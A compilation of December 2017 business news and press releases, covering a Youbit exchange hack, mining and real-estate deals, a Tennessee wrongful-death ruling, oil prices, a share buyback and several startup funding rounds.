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The South Korean exchange Youbit has been hacked for a second time this year, resulting in the loss of 17% of its total assets, leading to the announcement of a halt in trading in order to staunch losses. A pop-up notice on the Youbit website said: "I am very sorry to inform you again with the sad news. After the accident in April, we have done our best to improve the security, recruitment and system maintenance, and have managed to lower the hot wallet rate. Then, at 4:35 am, we lost our coin ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
WASHINGTON (dpa-AFX) - Virgin Hyperloop One is reportedly said to have rebuffed sale proposal from Caspian Venture Capital. According to Bloomberg, Ziyavudin Magomedov, a Russian billionaire who controls Caspian Venture Capital and the former co-executive chairman of Virgin Hyperloop One, made an offer to buy the company in recent weeks. However, the company's board decided against the sale. Meanwhile, Virgin Hyperloop One Tuesday said it has named Richard Branson Chairman and has also raised an additional $50 million ahead of its Series C round of funding with investments from Caspian Venture Capital and DP World. 'I am excited by the latest developments at Virgin Hyperloop One and delighted to be its new Chairman,' said Richard Branson, founder of the Virgin Group and Chairman of Virgin Hyperloop One. 'The recent investment by our partners Caspian Venture Capital and DP World sets up the company to pursue opportunities in key markets in the Middle East, Europe, and Russia as it develops game-changing and innovative passenger and cargo ground transport systems.' The $50 million investment brings the total financing raised by Virgin Hyperloop One to $295 million since its founding in 2014. In October, Los Angeles-based Hyperloop One announced that it has rebranded itself as Virgin Hyperloop One after Billionaire Richard Branson, the founder of Virgin Group, invested in Hyperloop One. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
CT Corporation's Business License Hub recognized as a "Best New Product of the Year" for Second Time This Year

CT Corporation has been named a bronze winner in the "Best New Product of the Year Small or Medium Business" category of the Best in Biz Awards 2017, the only independent business awards program judged each year by prominent editors and reporters from top-tier publications in North America.

CT Corporation was recognized for the Business License Hub, a centralized, cloud-based tool that streamlines the process of managing business license renewals and expirations. The tool helps significantly enhance an organization's ability to self-manage the renewals of their licenses, allowing users to easily track licenses and renewal requirements with customizable data reports. It assists large corporations that have dedicated licensing teams that require a centralized tracking system, as well as small businesses that often manage licensing functions on their own.

CT Corporation was also named a Gold Winner for the Business License Hub at the 9th Annual Golden Bridge Awards earlier this year.

"Managing licensing can be difficult for any business because requirements differ by industry and jurisdiction, plus licensing laws change frequently," said Krista K. Stein, Product Marketing Director at Wolters Kluwer's CT Corporation. "A restaurant or franchise, for example, can need as many as a dozen or more licenses to operate, and businesses in emerging industries like drone manufacturing can have even more complex needs."

"As a result, we've seen adoption of the Business License Hub grow dramatically," continued Stein. "This is gratifying because our goal is always to help our clients simplify compliance so they can focus on what matters most: building their businesses. The Best in Biz award is fantastic validation in addition to the customer feedback." This is the fourth consecutive year that the Best in Biz Awards has recognized CT Corporation, which works with more than 300,000 businesses and helps keep approximately 1.6 million entities in compliance every year. In previous years, CT was honored for products and services such as CT Assurance, a complete compliance solution that supports the entire lifecycle of a business and its legal entities.

CT Corporation received several other recognitions in 2016 and 2017, including a Bronze Stevie Award in the "New Product or Service of the Year Software" category of the 2016 American Business Awards competition. In conjunction with Wolters Kluwer's BizFilings, CT also won a Bronze Stevie Award in the "Customer Service Department of the Year" category of the 2017 American Business Awards.

CT Corporation works with businesses to offer customized solutions and expertise about business formations, and legal and corporate business compliance including business licenses. Since 1892, CT has helped businesses thrive, offering registered agent services, incorporation, LLC formation and more.

About Wolters Kluwer Governance, Risk Compliance

Wolters Kluwer Governance, Risk Compliance (GRC) is a division of Wolters Kluwer, which provides legal, finance, risk and compliance professionals and small business owners with a broad spectrum of solutions, services and expertise needed to help manage myriad governance, risk and compliance needs in dynamic markets and regulatory environments. Wolters Kluwer N.V. (AEX: WKL) is a global leader in information services and solutions for professionals in the health, tax and accounting, risk and compliance, finance and legal sectors. Wolters Kluwer reported 2016 annual revenues of 4.3 billion. The company, headquartered in Alphen aan den Rijn, the Netherlands, serves customers in over 180 countries, maintains operations in over 40 countries and employs 19,000 people worldwide.

View source version on businesswire.com: http://www.businesswire.com/news/home/20171219006036/en/

Contacts:

Wolters Kluwer Governance, Risk Compliance

Charles Miller, +1 320-240-5457

Corporate Marketing Communications

charles.miller@wolterskluwer.com
VANCOUVER, BC / ACCESSWIRE / December 19, 2017 / RESAAS Services Inc. (CSE: RSS, OTCQX: RSASF), a cloud-based social business platform for the real estate services industry, is pleased to announce that it has signed an agreement with the Beverly Hills & Greater Los Angeles Association of REALTORS.

The association has over 9,700 REALTOR and affiliate members, spanning the cities of Beverly Hills, Culver City, Los Angeles, Santa Monica, and West Hollywood, as well as unincorporated areas of Los Angeles County. These areas have some of the most valuable real estate in the United States. This agreement will allow member REALTORS to see and share the local real estate market in real time using RESAAS Association Messenger and RESAAS RealTimeMLS, which are being used by 11 other major real estate associations across America.

"Having worked with REALTOR associations since 2000, I am always looking for ways to best react to market conditions, and increase REALTOR value," said Chip Ahlswede, CEO at the Beverly Hills & Greater Los Angeles Association of REALTORS. "Our association has many members, and it spreads a wide geography as well as a wide value of listings. We needed a better way to allow all our members, regardless of the market they serve or their tenure in the industry, to be able to communicate with each other in an efficient, productive and compliant way. As we get to know the RESAAS team and range of offerings, I am excited to work with them and bring their technology to our members."

"The leadership at the Beverly Hills & Greater Los Angeles Association has quite the task on their hands, serving this many members in this part of the country," said Tom Rossiter, CEO at RESAAS. "This market, in particular, has a number of overseas buyers, an area RESAAS is well-versed in providing better visibility and accountability around. We will help this important real estate market become better equipped for the way real estate is transacted in today's age, and reinforce the value of the REALTOR brand."

Bringing in the Los Angeles market to RESAAS's stable adds to the other local real estate associations already leveraging RESAAS' technology to empower and unite their members, including the following major markets; San Francisco, CA; San Diego, CA; Miami, FL; Austin, TX; Alameda, CA; Rhode Island, RI; Delta, CA; Oakland/Berkeley, CA; Prescott, AZ; El Paso, TX; and Chicago, IL.

About RESAAS Services Inc.

RESAAS is a cloud-based social business platform built for the real estate services industry. RESAAS brings proprietary real-time technology into the business of real estate and transforms how real estate listing data flows between real estate agents, brokers, associations, and MLSs.

Visit www.resaas.com.

On Behalf of RESAAS,

Danielle Sissons

VP Operations

RESAAS Services Inc.

Telephone: (604) 558-2929; Email: danielle.sissons@resaas.com

Investor Relations

Scott Young

RESAAS Services Inc.

Telephone: 1 (705) 888-2756; Email: scott.young@resaas.com

The CSE has not reviewed, approved, or disapproved the content of this press release.

Forward-Looking Information:

This press release and the RESAAS website referenced herein contain forward-looking information within the meaning of Canadian securities legislation, including but not limited to statements regarding the company's technology platform. The forward-looking information is based on certain key expectations and assumptions made by RESAAS' management, including future plans for the design and development of the company's technology platform.

Forward-looking information is subject to risks, uncertainties and other factors, many of which are outside of the company's control that could cause actual results to differ materially from the results discussed in the forward-looking information. Although RESAAS believes that the expectations and assumptions on which such forward-looking information is based are reasonable, undue reliance should not be placed on such information because RESAAS can give no assurance that it will prove to be correct. The Forward-looking information contained in this press release is made as of the date of this press release. RESAAS disclaims any intent or obligation to update publicly any forward-looking information, whether as a result of new information, future events or results or otherwise, other than as required by applicable securities laws.

SOURCE: RESAAS Services Inc.
MELBOURNE (dpa-AFX) - BHP Billiton (BHP.AX) says it has reached a view to exit from the World Coal Association due to differences between its positions on climate and energy policy. The company also said it receives limited benefits from membership in the association. BHP reportedly reached the preliminary view to exit from the World Coal Association, because the association seeks for Australia to abandon a clean energy target. BHP said it will invite responses from the WCA before making a final determination as to future membership by March 31, 2018. The Anglo-Australian miner also said it is considering to withdraw from the U.S. Chamber of Commerce due to the organization's criticism of the Paris climate agreement and its opposition to carbon pricing. BHP also plans to decide by March whether to withdraw from the CoC. 'Active participation within industry associations is an opportunity for BHP to improve its own performance and to support industry as a whole in making a positive contribution,' said Chief External Affairs Officer Geoff Healy. 'This review makes clear the principles for our ongoing participation in industry bodies. While we won't always agree with our industry associations, we will continue to call out material differences where they exist and we will take action where necessary, as we have done today.' These preliminary decisions were as a result of BHP's review of industry associations' memberships to make sure that there is no difference in the positions BHP holds on climate and energy policy and the advocacy positions on climate and energy policy taken by industry associations to which BHP belongs. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
VANCOUVER, British Columbia, 2017-12-19 18:58 CET (GLOBE NEWSWIRE) -- Sabina Gold & Silver Corp (TSX:SBB.T), ("Sabina" or the "Company") is pleased to announce that Zhaojin International Mining Co., Ltd. ("Zhaojin International") has agreed to purchase 24,930,000 common shares of the Company at a price of $2.65 per share for a total investment of approximately $66,100,000 in a private placement (the "Financing"). Upon completion of the Financing, Zhaojin International will own approximately 9.9% of the Company's issued and outstanding common shares on a non-diluted basis. Zhaojin International is a subsidiary of Zhaojin Mining Industry Co. Ltd. ("Zhaojin"), which is a leading Chinese gold producer and one of China's largest gold smelting companies. "We are very excited to welcome Zhaojin, a leading Chinese gold producer, as a strategic investor. Zhaojin's investment represents a significant milestone for Sabina and is a strong endorsement of the work completed to date at our world class Back River project. This financing with Zhaojin provides Sabina with a cornerstone investor that has financial and technical resources to assist us in advancing the project to production. With this capital in hand, we are currently working on finalizing plans and budgets for 2018 which will focus on de-risking the project with initial pre-construction activities as well as furthering exploration activities," said Bruce McLeod, President and CEO. In connection with the Financing, Sabina and Zhaojin International have signed a Shareholder Agreement which includes the following provisions: -- A standstill in effect for four years from the closing date of the Financing; -- A 12 month lock up on share dispositions; -- Zhaojin International will have an option to increase its shareholding to up to 19.9% of the common shares of the Company by a grant of participation rights in future financings (up to 33% per financing), subject to certain terms and conditions, including the receipt of shareholder approval of Zhaojin, if required, and the receipt of regulatory and Sabina's Board's approval; -- Zhaojin International will have the right to nominate one director to Sabina's board at 9.9% ownership and shall have the right to appoint a second director should its equity position increase to 19.9%; -- A voting arrangement whereby Zhaojin International will exercise all of its votes associated with its common shares in support of matters proposed by Sabina's Board of Directors to shareholders of the Company (other than certain identified matters) for four years after the closing date of the Financing. In connection with the financing, Sprott Asia acted as advisor on the transaction, BMO Capital Markets acted as financial advisor and Gowling WLG was retained as legal advisor for Sabina. The Financing is subject to regulatory and other customary approvals. Zhaojin International Mining Co., Ltd. Zhaojin International Mining Co., Ltd. is a subsidiary of Zhaojin Mining Industry Co. Ltd., which is a leading Chinese gold producer and one of China's largest gold smelting companies. They operate across the full production chain, integrating exploration, mining, mineral processing, smelting and marketing. With more than 60 years of gold mining operations they are one of the world's lowest cost producers. Since its listing on the Hong Kong Stock Exchange in 2006, Zhaojin has grown into one of China's largest gold miners with annual gold production of 655k ounces of gold per year and reserves of 13.6 million ounces of gold. Currently they are working on developing the world's largest single ore body gold deposit, the Haiyu deposit in East Asia. Zhaojin's plans are to double their production base within the next five to ten years through investments in international operations. Sabina Gold & Silver Corp. Sabina Gold & Silver Corp. is a well-financed, emerging precious metals company with district scale, advanced, high grade gold assets in one of the world's newest, politically stable mining jurisdictions: Nunavut, Canada. Sabina released a Feasibility Study on its 100% owned Back River Gold Project which presents a project that has been designed on a fit-for purpose basis, with the potential to produce ~200,000 ounces a year for ~11 years with a rapid payback of 2.9 years (see "Technical Report for the Initial Project Feasibility Study on the Back River Gold Property, Nunavut, Canada" dated October 28, 2015). At a US$1,150 gold price and a 0.80 (US$:C$) exchange rate, the Study delivers a potential after tax internal rate of return of approximately 24.2% with an initial CAPEX of $415 million. In addition to Back River, Sabina also owns a significant silver royalty on Glencore's Hackett River Project. The silver royalty on Hackett River's silver production is comprised of 22.5% of the first 190 million ounces produced and 12.5% of all silver produced thereafter. The Company had approximately C$38 million in cash and equivalents on September 30, 2017. For further information please contact: Nicole Hoeller, Vice-President, Communications: 1 888 648-4218 nhoeller@sabinagoldsilver.com All news releases and further information can be found on the Company's website at www.sabinagoldsilver.com or on SEDAR at www.sedar.com. All technical reports have been filed on www.sedar.com. Forward Looking Statements This news release contains "forward-looking information" within the meaning of applicable securities laws (the "forward-looking statements"), including our belief as to the extent, results and timing of project financing, regulatory approvals, receiving the equity component of project financing among other things. Readers are cautioned not to place undue reliance on forward-looking statements, as there can be no assurance that the future circumstances, outcomes or results anticipated in or implied by such forward-looking statements will occur or that plans, intentions or expectations upon which the forward-looking statements are based will occur. While we have based these forward-looking statements on our expectations about future events as at the date that such statements were prepared, the statements are not a guarantee that such future events will occur and are subject to risks, uncertainties, assumptions and other factors which could cause events or outcomes to differ materially from those expressed or implied by such forward-looking statements. Such factors and assumptions include, among others, the effects of general economic conditions, commodity prices, changing foreign exchange rates and actions by government and regulatory authorities and misjudgments in the course of preparing forward-looking statements. In addition, there are known and unknown risk factors which could cause our actual results, performance or achievements to differ materially from any future results, performance or achievements expressed or implied by the forward-looking statements. Known risk factors include risks associated with exploration and project development; the need for additional financing; the calculation of mineral resources and reserves; operational risks associated with mining and mineral processing; fluctuations in metal prices; title matters; government regulation; obtaining and renewing necessary licences and permits; environmental liability and insurance; reliance on key personnel; the potential for conflicts of interest among certain of our officers or directors; the absence of dividends; currency fluctuations; labour disputes; competition; dilution; the volatility of the our common share price and volume; future sales of shares by existing shareholders; and other risks and uncertainties, including those relating to the Back River Project and general risks associated with the mineral exploration and development industry described in our Annual Information Form, financial statements and MD&A for the fiscal period ended December 31, 2016 filed with the Canadian Securities Administrators and available at www.sedar.com. Although we have attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. We are under no obligation to update or alter any forward-looking statements except as required under applicable securities laws. This news release has been authorized by the undersigned on behalf of Sabina Gold & Silver Corp. Bruce McLeod, President & CEO 1800-555 Burrard Street, Two Bentall Centre Vancouver, BC V7X 1M9 Tel 604 998-4175 Fax 604 998-1051 http://www.sabinagoldsilver.com
Homes sold across continent up 83 percent over 2016 year-to-date

Keller Williams, the world's largest real estate franchise by agent count, is rapidly expanding in Europe with new master franchises in the Czech Republic, Greece Cyprus, and Romania.

For Keller Williams Worldwide (KWW), the international division of Keller Williams, the new growth caps off a record-setting year globally marked by the addition of nine new regions, 47 market centers and 2,252 net agents.

KWW has more than 2,000 real estate agents across Europe, a net gain of more than 850 agents in 2017.

"We're currently riding a big wave of momentum across Europe with our tremendous growth," said William E. Soteroff, president, Keller Williams Worldwide. "Culture is the basis of our company and we're proud to welcome our three newest European regions, along with their amazing leaders, who will spread our strong culture in our growing worldwide family."

Czech Republic

Led by Regional Operating Principal Jana Hrstkova, the Keller Williams franchise in the Czech Republicis currently initializing operations.

"The caring and educational Keller Williams culture will be a welcome breath of fresh air to the Czech real estate market," said Hrstkova. "We are bringing a strong culture to the real estate industry and will become the first agent-oriented real estate brand company on the local market."

Greece and Cyprus

As part of a transition of one of the largest real estate offices in the country, KW Greece is launching with more than 50 agents. The new master franchise will be led by Regional Operating Principal Nik Kyroudis.

"The models and systems are what first attracted us to Keller Williams," said Kyroudis. "And, the bottom line is my existing company was far more attuned to the Keller Williams culture."

KW Greece and KW Cyprus will be a part of the same region for Keller Williams. New market center launches are also in the early stages of development for both countries.

Romania

Led by Regional Operating Principal Carol Petrica, the Keller Williams franchise in Romania is also launching. According to Petrica, the Romanian real estate market is stable with consistent 10 to 15 percent growth annually.

"Working in commercial real estate in the Romanian market for more than 15 years, I have seen the immense opportunity in Keller Williams' models, systems and values to create a professional residential market in Romania," said Petrica.

Across the globe, Keller Williams Worldwide is now home to more than 5,900 international agents operating outside of the United States and Canada.

"We are truly seeing the momentum build for Keller Williams across Europe, and we are thrilled with the growth we are seeing," said Ellen Curtis, COO, Keller Williams Worldwide. "We know that each and every market in Europe is unique and we believe our model, powered by great leaders and agents will allow us to gain market share quickly and disrupt traditional real estate everywhere we grow."

Keller Williams Worldwide regions include Belize; Bermuda; Canada; Colombia; Costa Rica; Czech Republic; Dubai, UAE; France; Greater Shanghai, China; Greece; Indonesia; Israel; Jamaica; Mexico; Monaco; Nicaragua; Panama; Philippines; Poland; Portugal; Puerto Rico; Romania; Southern Africa; Southern Cyprus; Spain; Turkey; Northern Cyprus; United Kingdom; United States; and Vietnam.

About Keller Williams Realty, Inc.

Austin, Texas-based Keller Williams Realty, Inc., is the world's largest real estate franchise, with more than 900 offices and 176,000 associates across the Americas, Europe, Africa and Asia. In 2017, Training magazine named Keller Williams the No. 1 training organization across all industries in the world.

Since 1983, Keller Williams has grown exponentially and continues to cultivate an agent-centric, education-based, technology-driven culture that rewards agents as stakeholders. The company also provides specialized agents in luxury homes, commercial, and farm and ranch properties.

For more information, visit kw.com.

View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005967/en/

Contacts:

Keller Williams Realty, Inc.

Darryl Frost, 254-466-3627

darryl.frost@kw.com
MONTREAL, QUEBEC -- (Marketwired) -- 12/19/17 -- Relevium Technologies Inc. (TSX VENTURE: RLV)(FRANKFURT: 6BX) (the "Company" or "Relevium"), is pleased to provide an update on the Big Data /AI project as announced on September 7, 2017 and hosting of a webcast on December 21, 2017.

Highlights

-- Update on Big Data and AI Implementation -- Initial Launch of Mach 2.0 Marketing Engine -- Webcast Details

Abis Hussain, Senior Marketing Officer of Relevium Technologies stated: "Since October 27, 2017, the operations team has been optimizing and automating the Marketing Engine behind BioGanix, which will be the core driver of organic growth for all future acquired brands." Mr. Hussain continued: "Resulting from the Big data / AI initiative as announced on September 7 this year, we have completed an initial launch of Mach 2.0, a proprietary blend of commercially-available software and SaaS that utilizes AI and machine learning to optimize marketing expenses."

Aurelio Useche, CEO of Relevium Technologies stated: "We believe in the entrepreneurial nature of the brands we acquire and we keep focused on three key strategic drivers: compelling products, offered at a great value with an awesome customer experience." Mr. Useche continued: "Management stated on August 2, 2017 that the integration of big data, AI and Machine Learning was vital to the optimization of the operations, and I believe we can check off this box off our to-do list. All of these operational developments now enable Relevium to start addressing our brand acquisition pipeline."

Mach 2.0 Marketing Engine

Mach 2.0 is a proprietary blend of commercially-available software and Software as a Service ("SaaS") that utilizes artificial intelligence and machine learning to optimize marketing expenses. Using BioGanix as the initial use case, Mach 2.0 has been deployed in the Amazon Marketplace as well as in the Google Advertising ecosystem. Mach 2.0 is ready to deploy across operations in calendar year 2018.

Mach 2.0 Impact for Scaling Up

In addition to addressing the brand acquisitions, Relevium is seeing significant organic high-margin opportunities in markets where it has signed strategic exclusive agreements:

-- Pet products with Biodevas -- Ultra-purified Omega-7 with Tersus -- Hemp and CBD derived products with HempCo

Relevium will be rolling out products in the above three segments through 2018.

Webcast

Relevium will be hosting a webcast on Thursday December 21, 2017 at 16:00 EDT with Mr. Aurelio Useche, President and CEO and Mr. Abis Hussain, Senior Marketing Officer to discuss ongoing business and the Q1 2018 Financials.

Investors can email questions for management to investors@releviumcorp.com prior to 11:59 p.m. EDT on Wednesday December 20, 2017 and they will be addressed on the webcast at the discretion of Management.

---------------------------------------------------------------------------- Date Thursday, December 21, 2017 ---------------------------------------------------------------------------- Time 4:00 p.m. ET ---------------------------------------------------------------------------- Conference dial-ins: ---------------------------------------------------------------------------- Canada 1 (647) 497-9385 1 888 816 4438 ---------------------------------------------------------------------------- United States 1 (213) 929-4231 1 877 309 2071 ---------------------------------------------------------------------------- Registration URL https://attendee.gotowebinar.com/register/798875849413167873 ---------------------------------------------------------------------------- Webinar ID 398-080-243 ----------------------------------------------------------------------------

About Relevium Technologies

Relevium is a TSXV-listed company focused on growth through the acquisition of businesses, products and/or technologies with a focus on e-commerce, in the growing health and wellness sector. Relevium Technologies Inc. also holds patented intellectual property for the use of static magnetic fields for application on wearable devices.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements

This press release may contain forward-looking information within the meaning of applicable securities legislation, which reflects the Company's current expectations regarding future events. Forward-looking information is based on several assumptions and is subject to several risks and uncertainties, many of which are beyond the Company's control that could cause actual results and events to differ materially from those that are disclosed in or implied by such forward-looking information. Readers should not place undue reliance on forward-looking statements and forward-looking information and are cautioned that reliance on such information may not be appropriate for other purposes. The Company does not undertake any obligation to update such forward-looking information, whether because of new information, future events or otherwise, except as expressly required by applicable law.

On Behalf of the Board of Directors

RELEVIUM TECHNOLOGIES INC.

Aurelio Useche, President and CEO

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Contacts:

Relevium Technologies Inc

Edward Ierfino

Investor Relations

+1(514) 562-1374

eierfino@releviumcorp.com

www.releviumtechnologies.com




The Tennessee Supreme Court unanimously affirmed a Shelby County trial courts decision denying relief from a final order of dismissal in a wrongful death case because the party filing the motion waited too long to seek relief.

In December 2008, Derek Hussey died after being detained and handcuffed by the manager of a Family Dollar store in Memphis. Mr. Husseys mother, Mae L. Chearis, and Sharondra Harris, the mother of his only child, hired a lawyer to represent them in a wrongful death suit against Family Dollar Store. Later, the lawyer decided not to handle the case and notified a family member. Ms. Chearis learned of his decision but Ms. Harris did not.

The day before the one-year statute of limitations expired on the wrongful death suit, Ms. Chearis, through a different lawyer and without telling Ms. Harris, filed a wrongful death suit as Mr. Husseys next of kin in the Circuit Court for Shelby County. Under Tennessees wrongful death statute, a wrongful death action may be brought by a personal representative or surviving spouse of the deceased, or if there is no surviving spouse, by the children of the deceased or by his next of kin. Ms. Chearis and Family Dollar settled the claim, Family Dollar paid Ms. Chearis the agreed amount, and the trial court dismissed the case. Ms. Chearis did not share the settlement proceeds with Mr. Husseys child.

Twenty months later, Ms. Harris filed a motion for her child under Tennessee Rule of Civil Procedure 60.02 to set aside the order and to be substituted as the plaintiff. She argued that the child, not Ms. Chearis, was the next of kin and had priority to bring the case. Ms. Harris contended that before his death, Mr. Hussey signed court documents admitting that he was the childs father. The trial court denied Ms. Harriss motion because she did not file it timely. The Court of Appeals vacated the trial courts decision, holding that the trial court should not have heard the motion to set aside the order of dismissal until it conclusively established the childs paternity.

The Tennessee Supreme Court agreed to hear the case and affirmed the trial court. In an opinion authored by Justice Sharon G. Lee, the Court held that the Court of Appeals erred by focusing on issues surrounding the childs paternity rather than reviewing the correctness of the trial courts ruling on the motion to set aside the order of dismissal. A trial court may set aside a final order under Rule 60.02 only in limited circumstances. Under Rule 60.02, a party asserting mistake, inadvertence, excusable neglect, fraud or misconduct of an adverse party must file the motion within one year of entry of the judgment. A party asserting that a judgment is void or any other reason justifying relief must file the motion within a reasonable time. Here, the motion was filed twenty months after entry of the order.

The Court concluded that Ms. Harris, on behalf of the child, failed to show by sufficient proof that the judgment was void because the trial court had subject matter jurisdiction, the judgment was within the pleadings, and the trial court had personal jurisdiction over all the parties. Further, the Supreme Court ruled that a motion for relief based on any other reason justifying relief that is filed more than a year after a trial court enters a judgment is generally untimely unless extraordinary circumstances excuse the partys failure to seek relief sooner. The Supreme Court held that the trial court did not abuse its discretion in ruling that Ms. Harriss motion was not filed within a reasonable time based on her failure to establish that extraordinary circumstances excused her delay. The Supreme Court reinstated the trial courts denial of the motion to set aside the order of dismissal.

To read the unanimous opinion in Derek Hussey, et al. v. Michael Woods, et al., authored by Justice Sharon G. Lee, visit the Opinions section of TNCourts.gov.
WASHINGTON (dpa-AFX) - Crude oil futures nudged higher Tuesday amid mixed signals on global production next year. OPEC says it will continue to curb production in an effort to re-balance oil markets, but U.S. shale output may surge. The International Energy Agency warned OPEC last week that its supply quota plan may have limited success. Traders will be keeping a close eye on weekly U.S. inventories data over the next 24 hours. The API industry report is due this afternoon, followed by the government's EIA report tomorrow. WTI light sweet crude oil was up 31 cents at $57.47 a barrel. Just ahead of crude oil's settlement, the House of Representatives has reportedly passed sweeping tax reforms this hour in Washington, DC. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Regulatory News:

Pershing Square Holdings, Ltd. (LN:PSH) (NA:PSH) today announces that it has purchased, through PSH's agent, Jefferies International Limited ("Jefferies"), the following number of PSH's ordinary shares of no par value (ISIN Code: GG00BPFJTF46) (the "Shares"):

Trading Venue: London Stock Exchange Date of purchase: 19 December 2017 Number of Shares purchased: 32,261 Shares Highest price paid per Share: 1,043 pence 13.92 USD Lowest price paid per Share: 1,038 pence 13.85 USD Average price paid per Share: 1,041.21 pence 13.90 USD

Trading Venue: Euronext Amsterdam Date of purchase: 19 December 2017 Number of Shares purchased: 57,192 Shares Highest price paid per Share: 13.91 USD Lowest price paid per Share: 13.83 USD Average price paid per Share: 13.88 USD

PSH intends to cancel these Shares. The net asset value per Share related to this Share buyback is USD 17.69 GBP 13.28 which was calculated as of 12 December 2017. After giving effect to the above Share buyback, PSH has outstanding 235,090,286 Shares. The prices per share in USD were calculated by Jefferies.

The number of PSH Management Shares and the 1 special voting share (held by PS Holdings Independent Voting Company Limited) has not been affected.

About Pershing Square Holdings, Ltd.:

Pershing Square Holdings, Ltd. (LN:PSH) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American companies.

View source version on businesswire.com: http://www.businesswire.com/news/home/20171219006175/en/

Contacts:

Media:

Maitland

James Devas, +44 20 7379 5151

Media-pershingsquareholdings1@maitland.co.uk
Ataata, a Bethesda, MD-based cyber security training platform designed to reduce human error in the workplace, closed $3m in Series A financing.

The round was led by Next Frontier Capital, a Bozeman, Montana based venture capital firm, with participation from TEDCO, 2M, SaaS Ventures, ARRA Capital and senior leadership from major technology and financial firms.

The company will use the funds to accelerate customer-driven product development, consolidate its position as a leader in cyber security awareness training, and establish a presence in Bozeman.

Launched in 2016 by CEO Michael Madon, Ataata provides a cyber security training platform designed to reduce human error in the workplace. The platform delivers engaging content to employees and measures effectiveness by converting data into actionable information. The dashboard tracks employees attitudes about security, monitors training performance and shows companies how their workforce stacks up against others in their industry.

FinSMEs

19/12/2017
Entrega, a Boston, MA-based company focused on the oral delivery of complex molecules, such as peptides, that cannot currently be taken orally, received $5M equity and research funding from Eli Lilly and Company (NYSE: LLY).

The two companies also announced a research collaboration to advance Entregas proprietary peptide delivery technology.

Under the terms of the initial agreement, Entrega will receive the funding to investigate the application of its peptide delivery technology to certain Lilly products and therapeutic candidates. This initial agreement does not grant Lilly a development or commercialization license to the Entrega technology.

An affiliate of PureTech Health (LSE: PRTC), Entrega leverages a technology platform which uses a proprietary, customizable hydrogel dosage form to control local fluid microenvironments in the GI tract to both enhance absorption and reduce the variability of drug exposure. The technology has the potential to deliver a wide variety of biological molecules, drug substances, and nanoparticles, and may also enable novel applications in a variety of fields such as disease management and mobile health tracking.

The companys Directors and Scientific Advisory Board is comprised of a group of experts, including:

 Robert Langer, Sc.D., who is one of 13 Institute Professors at MIT (an Institute Professor is the highest honor awarded to a faculty member).

 Colin Gardner, Ph.D., who was formerly the CSO of a startup formulation company (TransForm Pharmaceuticals), which was acquired by Johnson & Johnson and consequently led to major changes in the way in which J&J integrated discovery and early development.

 Samir Mitragotri, Ph.D., who is the Hiller Professor of Bioengineering and Wyss Professor of Biologically Inspired Engineering at Harvard University.

 Howard B. Rosen, M.B.A., who was formerly President of ALZA Corporation, where he was responsible for all aspects of managing the drug delivery company as an independent 1000-person operating company within the Johnson & Johnson Family of Companies.

 Rob Armstrong, Ph.D., who is the Chief Executive Officer, board member, and co-founder of Boston Pharmaceuticals.

FinSMEs

19/12/2017
Flexera, an Itasca, IL-based software developer, entered into a new investment partnership with TA Associates.

TA is acquiring equity from existing investors, and will work in partnership with existing lead investor Ontario Teachers Pension Plan to continue to grow the company.

The undisclosed transaction is expected to close in February 2018.

Led by Jim Ryan, President and CEO, Flexera operates a portfolio including Technology Asset Data platform, Software Monetization and Open Source Compliance and Security solutions for technology suppliers, and Software Asset Management and Software Vulnerability Management solutions for technology buyers.

In business for 30+ years, the company has over 1,000 employees and over 80,000 customers.

FinSMEs

19/12/2017
Fyusion, a San Francisco, CA-based technology company applying 3D computer vision and machine learning expertise to make images intelligent, completed a $22m Series B round of financing.

Backers included New Enterprise Associates, Presence Capital and 2020, NTT Groups corporate venture capital firm NTT DOCOMO Ventures, publicly-traded Japanese gaming company Colopl, Gionee and other angel investors.

The company intends to use the funds to further grow in E-commerce & Automotive imaging, and Mobile AR.

Led by Radu B. Rusu, CEO, Fyusion is a computer vision company whose core technology, covered by over 50 patents, allows anyone to create immersive, interactive 3D images by moving any camera around a person, object or scene.

The technology has a large database of digitized real world 3D images, updated monthly by tens of millions of users across commercial OEM partnerships.

Partners include Gionee, Huawei, TCL and ZTE.

FinSMEs

18/12/2017
